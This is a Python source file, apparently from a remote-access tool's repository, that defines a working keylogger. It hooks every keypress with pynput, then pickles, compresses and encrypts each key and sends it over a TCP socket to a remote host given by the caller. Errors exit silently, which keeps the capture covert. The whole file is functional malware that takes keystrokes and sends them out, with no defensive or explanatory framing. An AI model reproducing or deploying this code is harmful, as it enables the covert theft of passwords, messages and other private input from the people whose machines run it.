blob: 48dbf6a668e826d5e2f78773b9956a2036c25638 (
plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
|
import socket
import pickle
import zlib
from Specific.encrypt import Encryption
from pynput.keyboard import Listener
from sys import exit
def Keylogger(ip, port, encoding):
try:
headersize = 10
e = Encryption()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
def on_press(key):
try:
recv = s.recv(1024)
log = pickle.dumps(str(key))
log = zlib.compress(log)
log = e.do_encrypt(log)
final_msg = bytes(f'{len(log):<{headersize}}', encoding) + log
s.send(final_msg)
except:
exit(0)
with Listener(on_press=on_press) as L:
L.join()
except:
exit(0)
|